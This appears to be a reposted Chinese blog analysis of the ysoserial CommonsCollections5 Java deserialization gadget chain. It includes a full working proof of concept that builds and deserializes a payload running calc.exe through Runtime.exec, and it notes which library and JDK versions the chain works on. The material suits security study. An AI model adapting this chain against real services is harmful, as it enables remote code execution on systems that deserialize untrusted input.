ysoserial CommonsColletions5分析
2021/7/11 6:07:44
本文主要是介绍ysoserial CommonsColletions5分析,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
我们知道,AnnotationInvocationHandler类在JDK8u71版本以后,官方对readobject
进行了改写。
所以要挖掘出一条能替代的类BadAttributeValueExpException
在CC5中除了有一个新的类BadAttributeValueExpException外,还有一个新的类TiedMapEntry,用来调用LazyMap的get方法
TiedMapEntry
在TiedMapEntry的getValue方法中调用了get方法
而map成员变量则是由构造函数传入
这里传入this.map=LazyMap后,调用getValue方法就可以触发调用链了。
而getValue方法是在toString中调用了。
BadAttributeValueExpException
直接查看readObject方法
第72行是获取val的值,赋值给valObj,在第86行时候,调用了valObj的toString方法
也就是调用TiedMapEntry的toString。
BadAttributeValueExpException、TiedMapEntry、LazyMap三条链互相调用
构造POC
前面和CC1一样,利用LazyMap来触发ChainedTransformer反射链
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) }; ChainedTransformer chain = new ChainedTransformer(transformers); //创建一个HashMap HashMap hashMap = new HashMap(); //传入chain LazyMap lazymap = (LazyMap) LazyMap.decorate(hashMap, chain);
TiedMapEntry成员变量this.map利用构造方法赋值成LazyMap
TiedMapEntry entry = new TiedMapEntry(lazymap, "xxx");
BadAttributeValueExpException的val参数需要利用反射进行set值
BadAttributeValueExpException bad = new BadAttributeValueExpException(null); //参数无所谓 Field val = bad.getClass().getDeclaredField("val"); val.setAccessible(true); val.set(bad,entry);
最终POC:
public class payload01 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) }; ChainedTransformer chain = new ChainedTransformer(transformers); //创建一个HashMap HashMap hashMap = new HashMap(); //传入chain LazyMap lazymap = (LazyMap) LazyMap.decorate(hashMap, chain); TiedMapEntry entry = new TiedMapEntry(lazymap, "xxx"); BadAttributeValueExpException bad = new BadAttributeValueExpException(null); //参数无所谓 Field val = bad.getClass().getDeclaredField("val"); val.setAccessible(true); val.set(bad,entry); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(bad); oos.close(); System.out.println(barr); System.out.println(barr.toString()); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); ois.readObject(); } }
我发现此payload只适用于CommonsCollections版本3.1-3.2.1,因为在4.0版本中,LazyMap取消了decorate方法构造对象,而是用的静态方法lazymap,所以要改动一下传入参数的方式就可以了
cc5在JDK1.7和1.8版本都测试可以使用
这篇关于ysoserial CommonsColletions5分析的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-11-02在 Objective-C 中strong 和 retain有什么区别-icode9专业技术文章分享
- 2024-11-02NSString 中的 hasPrefix 有什么作用-icode9专业技术文章分享
- 2024-11-02在 C 和 Objective-C 中inline的用法是什么-icode9专业技术文章分享
- 2024-11-02文件掩码什么意思?-icode9专业技术文章分享
- 2024-11-02在 Git 提交之前运行 composer cs-fix 命令怎么实现-icode9专业技术文章分享
- 2024-11-02为 Composer 的 cs-fix 命令指定一个目录怎么实现-icode9专业技术文章分享
- 2024-11-02微信公众号开发中怎么获取用户的 unionid-icode9专业技术文章分享
- 2024-11-01lip-sync公司指南:一文读懂主要玩家和技术
- 2024-11-01Anthropic的新RAG方法——提升大型语言模型在特定领域的表现
- 2024-11-01UniApp 中组件的生命周期是多少-icode9专业技术文章分享